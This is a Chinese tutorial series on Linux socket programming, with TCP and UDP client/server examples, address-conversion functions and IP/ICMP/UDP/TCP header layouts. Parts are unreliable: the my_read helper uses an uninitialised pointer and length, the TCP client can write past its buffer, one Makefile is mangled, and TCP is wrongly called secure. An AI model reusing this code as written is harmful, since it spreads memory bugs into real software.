(一)Linux網絡編程--網絡知識介紹
Linux網絡編程--網絡知識介紹
客戶端和服務端
網絡程序和普通的程序有一個最大的區別是網絡程序是由兩個部分組成的--客戶端和服務器端.
客戶端
在網絡程序中,若是一個程序主動和外面的程序通訊,那麼咱們把這個程序稱爲客戶端程序。 好比咱們使用ftp程序從另一
個地方獲取文件的時候,是咱們的ftp程序主動同外面進行通訊(獲取文件), 因此這個地方咱們的ftp程序就是客戶端程序。
服務端
和客戶端相對應的程序即爲服務端程序。被動的等待外面的程序來和本身通信的程序稱爲服務端程序。
好比上面的文件獲取中,另一個地方的程序就是服務端,咱們從服務端獲取文件過來。
互爲客戶和服務端
實際生活中有些程序是互爲服務和客戶端。在這種狀況項目, 一個程序既爲客戶端也是服務端。
經常使用的命令
因爲網絡程序是有兩個部分組成,因此在調試的時候比較麻煩,爲此咱們有必要知道一些經常使用的網絡命令
netstat
命令netstat是用來顯示網絡的鏈接,路由表和接口統計等網絡的信息.netstat有許多的選項.
咱們經常使用的選項是-na 用來顯示詳細的網絡狀態.至於其它的選項咱們可使用幫助手冊得到詳細的狀況.
telnet
telnet是一個用來登陸遠程的程序,可是咱們徹底能夠用這個程序來調試咱們的服務端程序的.
好比咱們的服務器程序在監聽8888端口,咱們能夠用
telnet localhost 8888
來查看服務端的情況.
pingping 程序用來判斷網絡的狀態是否正常,最常常的一個用法是
ping 192.168.0.1
表示咱們想查看到192.168.0.1的硬件鏈接是否正常
TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協議是一種面向鏈接的協議, 當咱們的網絡程序使用這個協議的時候,
網絡能夠保證咱們的客戶端和服務端的鏈接是可靠的,安全的.
UDP(User Datagram Protocol)用戶數據報協議是一種非面向鏈接的協議,
這種協議並不能保證咱們的網絡程序的鏈接是可靠的,因此咱們如今編寫的程序通常是採用TCP協議的.
(二)Linux網絡編程--初等網絡函數介紹(TCP)
Linux系統是經過提供套接字(socket)來進行網絡編程的.網絡程序經過socket和其它幾個函數的調用,
會返回一個 通信的文件描述符,咱們能夠將這個描述符當作普通的文件的描述符來操做,這就是linux的設備無關性的好處.
咱們能夠經過向描述符讀寫操做實現網絡之間的數據交流.
(一)socket
int socket(int domain, int type,int protocol)
domain:說明咱們網絡程序所在的主機採用的通信協族(AF_UNIX和AF_INET等).
AF_UNIX只可以用於單一的Unix 系統進程間通訊,
而AF_INET是針對Internet的,於是能夠容許在遠程
主機之間通訊(當咱們 man socket時發現 domain可選項是 PF_*而不是AF_*,由於glibc是posix的實現因此用PF代替了AF,
不過咱們均可以使用的).
type:咱們網絡程序所採用的通信協議(SOCK_STREAM,SOCK_DGRAM等)
SOCK_STREAM代表咱們用的是TCP 協議,這樣會提供按順序的,可靠,雙向,面向鏈接的比特流.
SOCK_DGRAM 代表咱們用的是UDP協議,這樣只會提供定長的,不可靠,無鏈接的通訊.
protocol:因爲咱們指定了type,因此這個地方咱們通常只要用0來代替就能夠了 socket爲網絡通信作基本的準備.
成功時返回文件描述符,失敗時返回-1,看errno可知道出錯的詳細狀況.
(二)bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調用返回的文件描述符.
addrlen:是sockaddr結構的長度.
my_addr:是一個指向sockaddr的指針. 在中有 sockaddr的定義
struct sockaddr{
unisgned shortas_family;
char sa_data[14];
};
不過因爲系統的兼容性,咱們通常不用這個頭文件,而使用另一個結構(struct sockaddr_in) 來代替.在中有sockaddr_in的定義
struct sockaddr_in{
unsigned shortsin_family;
unsigned short intsin_port;
struct in_addrsin_addr;
unsigned charsin_zero[8];
}
咱們主要使用Internet因此
sin_family通常爲AF_INET,
sin_addr設置爲INADDR_ANY表示能夠和任何的主機通訊,
sin_port是咱們要監聽的端口號.sin_zero[8]是用來填充的.
bind將本地的端口同socket返回的文件描述符捆綁在一塊兒.成功是返回0,失敗的狀況和socket同樣
(三)listen
int listen(int sockfd,int backlog)
sockfd:是bind後的文件描述符.
backlog:設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示能夠介紹的排隊長度.
listen函數將bind的文件描述符變爲監聽套接字.返回的狀況和bind同樣.
(四)accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen後的文件描述符.
addr,addrlen是用來給客戶端的程序填寫的,服務器端只要傳遞指針就能夠了. bind,listen和accept是服務器端用的函數,
accept調用時,服務器端的程序會一直阻塞到有一個 客戶程序發出了鏈接. accept成功時返回最後的服務器端的文件描述符,
這個時候服務器端能夠向該描述符寫信息了. 失敗時返回-1
(五)connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲存了服務器端的鏈接信息.其中sin_add是服務端的地址
addrlen:serv_addr的長度
connect函數是客戶端用來同服務端鏈接的.成功時返回0,sockfd是同服務端通信的文件描述符 失敗時返回-1.
(六)實例
服務器端程序
--------------------------------------------------------------------------------
/******* 服務器程序(server.c) ************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 服務器端開始創建socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 服務器端填充 sockaddr結構*/
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符*/
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 監聽sockfd描述符*/
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 服務器阻塞,直到客戶程序創建鏈接*/
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 這個通信已經結束*/
close(new_fd);
/* 循環下一個*/
}
close(sockfd);
exit(0);
}
客戶端程序
--------------------------------------------------------------------------------
/******* 客戶端程序client.c ************/
/******* 客戶端程序client.c ************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客戶程序開始創建 sockfd描述符*/
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客戶程序填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);
/* 客戶程序發起鏈接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 鏈接成功了*/
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n",buffer);
/* 結束通信*/
close(sockfd);
exit(0);
}
MakeFile
這裏咱們使用GNU 的make實用程序來編譯. 關於make的詳細說明見 Make 使用介紹
#########Makefile ###########
all:server client
server:server.c
gcc^ -o@
client:client.c
gcc^ -o@
運行make後會產生兩個程序server(服務器端)和client(客戶端) 先運行./server portnumber&
(portnumber隨便取一個大於1204且不在/etc/services中出現的號碼 就用8888好了),
而後運行./client localhost 8888 看看有什麼結果. (你也能夠用telnet和netstat試一試.)
上面是一個最簡單的網絡程序,不過是否是也有點煩.上面有許多函數咱們尚未解釋. 我會在下一章進行的詳細的說明.
(七) 總結
總的來講網絡程序是由兩個部分組成的--客戶端和服務器端.它們的創建步驟通常是:
服務器端
socket-->bind-->listen-->accept
客戶端
socket-->connect
(三)Linux網絡編程--3. 服務器和客戶機的信息函數
這一章咱們來學習轉換和網絡方面的信息函數.
3.1 字節轉換函數
在網絡上面有着許多類型的機器,這些機器在表示數據的字節順序是不一樣的, 好比i386芯片是低字節在內存地址的低端,
高字節在高端,而alpha芯片卻相反. 爲了統一塊兒來,在Linux下面,有專門的字節轉換函數.
unsigned longint htonl(unsigned longint hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned longint ntohl(unsigned longint netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函數中,h 表明host, n 表明 network.s 表明short l 表明long
第一個函數的意義是將本機器上的long數據轉化爲網絡上的long. 其餘幾個函數的意義也差很少.
3.2 IP和域名的轉換
在網絡上標誌一臺機器能夠用IP或者是用域名.那麼咱們怎麼去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定義
struct hostent{
char *h_name;/* 主機的正式名稱*/
char *h_aliases;/* 主機的別名 */
inth_addrtype; /* 主機的地址類型AF_INET*/
inth_length; /* 主機的地址長度對於IP4 是4字節32位*/
char **h_addr_list;/* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0]/* 主機的第一個IP地址*/
gethostbyname能夠將機器名(如 linux.yessun.com)轉換爲一個結構指針.在這個結構裏面儲存了域名的信息
gethostbyaddr能夠將一個32位的IP地址(C0A80001)轉換爲結構指針.
這兩個函數失敗時返回NULL 且設置h_errno錯誤變量,調用h_strerror()能夠獲得詳細的出錯信息
3.3 字符串的IP和32位的IP轉換.
在網絡上面咱們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中用的是32位的IP,
咱們上面那個32位IP(C0A80001)是的192.168.0.1 爲了轉換咱們可使用下面兩個函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數裏面 a 表明 ascii n 表明network.第一個函數表示將a.b.c.d的IP轉換爲32位的IP,
存儲在 inp指針裏面.第二個是將32位IP轉換爲a.b.c.d的格式.
3.4 服務信息函數
在網絡程序裏面咱們有時候須要知道端口.IP和服務信息.這個時候咱們可使用如下幾個函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name;/* 正式服務名 */
char **s_aliases;/* 別名列表 */
int s_port; /* 端口號 */
char *s_proto; /* 使用的協議 */
}
通常咱們不多用這幾個函數.對應客戶端,當咱們要獲得鏈接的端口號時在connect調用成功後使用可獲得
系統分配的端口號.對於服務端,咱們用INADDR_ANY填充後,爲了獲得鏈接的IP咱們能夠在accept調用成功後 使用而獲得IP地址.
在網絡上有許多的默認端口和服務,好比端口21對ftp80對應WWW.爲了獲得指定的端口號的服務 咱們能夠調用第四個函數,
相反爲了獲得端口號能夠調用第三個函數.
3.5 一個例子
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這裏咱們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char*)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information
of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*argv);
continue;
}
printf("Official host name %s\n",host->h_name);
printf("Name aliases:");
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子裏面,爲了判斷用戶輸入的是IP仍是域名咱們調用了兩個函數,第一次咱們假設輸入的是IP因此調用inet_aton,
失敗的時候,再調用gethostbyname而獲得信息.
(四)Linux網絡編程--4. 完整的讀寫函數
一旦咱們創建了鏈接,咱們的下一步就是進行通訊了.在Linux下面把咱們前面創建的通道當作是文件描述符,
這樣服務器端和客戶端進行通訊時候,只要往文件描述符裏面讀寫東西了. 就象咱們往文件讀寫同樣.
4.1 寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數將buf中的nbytes字節內容寫入文件描述符fd.成功時返回寫的字節數.失敗時返回-1. 並設置errno變量.
在網絡程序中,當咱們向套接字文件描述符寫時有倆種可能.
1)write的返回值大於0,表示寫了部分或者是所有的數據.
2)返回的值小於0,此時出現了錯誤.咱們要根據錯誤類型來處理.
若是錯誤爲EINTR表示在寫的時候出現了中斷錯誤.
若是爲EPIPE表示網絡鏈接出現了問題(對方已經關閉了鏈接).
爲了處理以上的狀況,咱們本身編寫一個寫函數來處理這幾種狀況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 咱們繼續寫*/
written_bytes=0;
else/* 其餘錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes;/* 從剩下的地方繼續寫*/
}
return(0);
}
4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀成功時,
read返回實際所讀的字節數,若是返回的值是0 表示已經讀到文件的結束了,小於0表示出現了錯誤.
若是錯誤爲EINTR說明讀是由中斷引發的,
若是是ECONNREST表示網絡鏈接出了問題. 和上面同樣,咱們也寫一個本身的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數據的傳遞
有了上面的兩個函數,咱們就能夠向客戶端或者是服務端傳遞數據了.好比咱們要傳遞一個結構.可使用以下方式
/*客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網絡上傳遞數據時咱們通常都是把數據轉化爲char類型的數據傳遞.接收的時候也是同樣的 注意的是咱們沒有必要在網絡上傳
遞指針(由於傳遞指針是沒有任何意義的,咱們必須傳遞指針所指向的內容)
(五)Linux網絡編程--5. 用戶數據報發送
咱們前面已經學習網絡程序的一個很大的部分,由這個部分的知識,咱們實際上能夠寫出大部分的基於TCP協議的網絡程序了.
如今在 Linux下的大部分程序都是用咱們上面所學的知識來寫的.咱們能夠去找一些源程序來參考一下.這一章,咱們簡單的學習一
下基於UDP協議的網絡程序.
5.1 兩個經常使用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)
sockfd,buf,len的意義和read,write同樣,分別表示套接字描述符,發送或接收的緩衝區及大小.
recvfrom負責從 sockfd接收數據,若是from不是NULL,那麼在from裏面存儲了信息來源的狀況,若是對信息的來源不感興趣,
能夠將from和fromlen 設置爲NULL.sendto負責向to發送信息.此時在to裏面存儲了收信息方的詳細資料.
5.2 一個實例
--------------------------------------------------------------------------------
/*服務端程序server.c*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SERVER_PORT8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int n;
socklen_t addrlen;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網絡上讀,寫到網絡上面去*/
memset(msg, 0, sizeof(msg));
addrlen = sizeof(struct sockaddr);
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
/* 顯示服務端已經收到了信息*/
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_inaddr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&addr,sizeof(struct sockaddr_in))<0)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
客戶端程序
--------------------------------------------------------------------------------
/*客戶端程 序*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,socklen_t len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(fgets(buffer,MAX_BUF_SIZE,stdin))
{/*從鍵盤讀入,寫到服務端*/
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/*從網絡上讀,寫到屏幕上 */
memset(buffer, 0, sizeof(buffer));
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE, 0, NULL, NULL);
if(n <= 0)
{
fprintf(stderr, "Recv Error %s\n", strerror(errno));
return;
}
buffer[n]=0;
fprintf(stderr, "get %s", buffer);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_inaddr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"SocketError:%s\n",strerror(errno));
exit(1);
}
/*填充服務端的資料*/
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
{
fprintf(stderr, "connect error %s\n", strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
運行UDP Server程序
執行./server &命令來啓動服務程序。咱們可使用netstat -ln命令來觀察服務程序綁定的IP地址和端口,部分輸出信息以下:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 0.0.0.0:8888 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
udp 0 0 0.0.0.0:882 0.0.0.0:*
能夠看到udp處有「0.0.0.0:8888」的內容,說明服務程序已經正常運行,能夠接收主機上任何IP地址且端口爲8888的數據。
三、運行UDP Client程序
執行./client 127.0.0.1 8888命令來啓動客戶程序,使用127.0.0.1來鏈接服務程序,執行效果以下:
Hello, World!
Hello, World!
this is a test
this is a test
^d
輸入的數據都正確從服務程序返回了,按ctrl+d能夠結束輸入,退出程序。
(六)Linux網絡編程--6. 高級套接字函數
在前面的幾個部分裏面,咱們已經學會了怎麼樣從網絡上讀寫信息了.前面的一些函數(read,write)是網絡程序裏面最基本的函數.
也是最原始的通訊函數.在這一章裏面,咱們一塊兒來學習網絡通訊的高級函數.這一章咱們學習另外幾個讀寫函數.
6.1 recv和send
recv和send函數提供了和read和write差很少的功能.不過它們提供 了第四個參數來控制讀寫操做.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個參數和read,write同樣,第四個參數能夠是0或者是如下的組合
_______________________________________________________________
|MSG_DONTROUTE|不查找路由 表 |
|MSG_OOB|接受或者發送帶外數 據 |
|MSG_PEEK|查看數據,並不從系統緩衝區移走數據 |
|MSG_WAITALL|等待全部數 據 |
|---------------------------------------------------------------|
MSG_DONTROUTE:是send函數使用的標誌.這個標誌告訴IP協議.目的主機在本地網絡上面,沒有必要查找路由表.
這個標誌通常用網絡診斷和路由程序裏面.
MSG_OOB:表示能夠接收和發送帶外的數據.關於帶外數據咱們之後會解釋的.
MSG_PEEK:是recv函數的使用標誌,表示只是從系統緩衝區中讀取內容,而不清除系統緩衝區的內容.這樣下次讀的時候,
仍然是同樣的內容.通常在有多個進程讀寫數據時可使用這個標誌.
MSG_WAITALL是recv函數的使用標誌,表示等到全部的信息到達時才返回.使用這個標誌的時候recv回一直阻塞,直到指定的條件知足,或者是發生了錯誤.
1)當讀到了指定的字節時,函數正常返回.返回值等於len
2)當讀到了文件的結尾時,函數正常返回.返回值小於len
3) 當操做發生錯誤時,返回-1,且設置錯誤爲相應的錯誤號(errno)
若是flags爲0,則和read,write同樣的操做.還有其它的幾個選項,不過咱們實際上用的不多,
能夠查看 Linux Programmer's Manual獲得詳細解釋.
6.2 recvfrom和sendto
這兩個函數通常用在非套接字的網絡程序當中(UDP),咱們已經在前面學會了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg能夠實現前面全部的讀寫函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩衝區開始的地址*/
size_t iov_len; /* 緩衝區的長度*/
}
msg_name和 msg_namelen當套接字是非面向鏈接時(UDP),它們存儲接收和發送方的地址信息.
msg_name其實是一個指向struct sockaddr的指針,
msg_namelen是結構的長度.當套接字是面向鏈接時,這兩個值應設爲NULL.
msg_iov和 msg_iovlen指出接受和發送的緩衝區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小.
msg_control和msg_controllen這兩個變量是用來接收和發送控制數據時的 msg_flags指定接受和發送的操做選項.
和 recv,send的選項同樣
6.4 套接字的關閉
關閉套接字有兩個函數close和shutdown.用close時和咱們關閉文件同樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP鏈接是雙向的(是可讀寫的),當咱們使用close時,會把讀寫通道都關閉,有時侯咱們但願只關閉一個方向,這個時候咱們可使用
shutdown.針對不一樣的howto,系統回採起不一樣的關閉方式.
howto=0這個時候系統會關閉讀通道.可是能夠繼續往接字描述符寫.
howto=1關閉寫通道,和上面相反,着時候就只能夠讀了.
howto=2關閉讀寫通道,和close同樣 在多進程程序裏面,若是有幾個子進程共享一個套接字時,若是咱們使用shutdown,
那麼全部的子進程都不可以操做了,這個時候咱們只可以使用close來關閉子進程的套接字描述符.
(七)Linux網絡編程--7. TCP/IP協議
你也許據說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裏面,咱們一塊兒來學習這個目前網絡上用最普遍的協議.
7.1 網絡傳輸分層
若是你考過計算機等級考試,那麼你就應該已經知道了網絡傳輸分層這個概念.在網絡上,人們爲了傳輸數據時的方便,
把網絡的傳輸分爲7個層次.分別是:應用層,表示層,會話層,傳輸層,網絡層,數據鏈路層和物理層.分好了層之後,傳輸數據時,
上一層若是要數據的話,就能夠直接向下一層要了,而沒必要要管數據傳輸的細節.下一層也只向它的上一層提供數據,
而不要去管其它東西了.若是你不想考試,你沒有必要去記這些東西的.只要知道是分層的,並且各層的做用不一樣.
7.2 IP協議
IP協議是在網絡層的協議.它主要完成數據包的發送做用. 下面這個表是IP4的數據包格式
04 8 1632
--------------------------------------------------
|版本|首部長度|服務類型| 數據包總長 |
--------------------------------------------------
| 標 識 |DF |MF| 碎片偏移|
--------------------------------------------------
|生存時間 |協議|首部較驗和 |
------------------------------------------------
| 源IP地 址|
------------------------------------------------
| 目的IP地 址|
-------------------------------------------------
| 選 項 |
=================================================
| 數 據 |
-------------------------------------------------
下面咱們看一看IP的結構定義
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4;/* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4;/* header length */
#endif
u_int8_t ip_tos;/* type of service */
u_short ip_len; /* total length */
u_short ip_id;/* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl;/* time to live */
u_int8_t ip_p;/* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst;/* source and dest address */
};
ip_vIP協議的版本號,這裏是4,如今IPV6已經出來了
ip_hlIP包首部長度,這個值以4字節爲單位.IP協議首部的固定長度爲20個字節,若是IP包沒有選項,那麼這個值爲5.
ip_tos服務類型,說明提供的優先權.
ip_len說明IP數據的長度.以字節爲單位.
ip_id標識這個IP數據包.
ip_off碎片偏移,這和上面ID一塊兒用來重組碎片的.
ip_ttl生存時間.沒通過一個路由的時候減一,直到爲0時被拋棄.
ip_p協議,表示建立這個IP數據包的高層協議.如TCP,UDP協議.
ip_sum首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst發送者和接收者的IP地址
關於IP協議的詳細狀況,請參考 RFC791
7.3 ICMP協議
ICMP是消息控制協議,也處於網絡層.在網絡上傳遞IP數據包時,若是發生了錯誤,那麼就會用ICMP協議來報告錯誤.
ICMP包的結構以下:
08 1632
---------------------------------------------------------------------
| 類型 | 代碼 | 校驗 和|
--------------------------------------------------------------------
| 數據 | 數 據 |
--------------------------------------------------------------------
ICMP在中的定義是
struct icmphdr
{
u_int8_t type;/* message type */
u_int8_t code;/* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo;/* echo datagram */
u_int32_tgateway;/* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag;/* path mtu discovery */
} un;
};
關於ICMP協議的詳細狀況能夠查看 RFC792
7.4 UDP協議
UDP協議是創建在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議同樣是不可靠的數據報服務.UDP的頭格式爲:
01632
---------------------------------------------------
| UDP源端口 | UDP目的端口|
---------------------------------------------------
| UDP數據報長度| UDP數據報校驗|
---------------------------------------------------
UDP結構在中的定義爲:
struct udphdr {
u_int16_tsource;
u_int16_tdest;
u_int16_tlen;
u_int16_tcheck;
};
關於UDP協議的詳細狀況,請參考 RFC768
7.5 TCP
TCP協議也是創建在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結構比前面的結構都要複雜.
0 4 810162432
-------------------------------------------------------------------
| 源端口| 目的端口|
-------------------------------------------------------------------
| 序列 號|
------------------------------------------------------------------
| 確認 號|
------------------------------------------------------------------
|| |U|A|P|S|F| |
|首部長度| 保留 |R|C|S|Y|I| 窗 口 |
|| |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和| 緊急指針|
-----------------------------------------------------------------
| 選 項 | 填充字節|
-----------------------------------------------------------------
TCP的結構在中定義爲:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
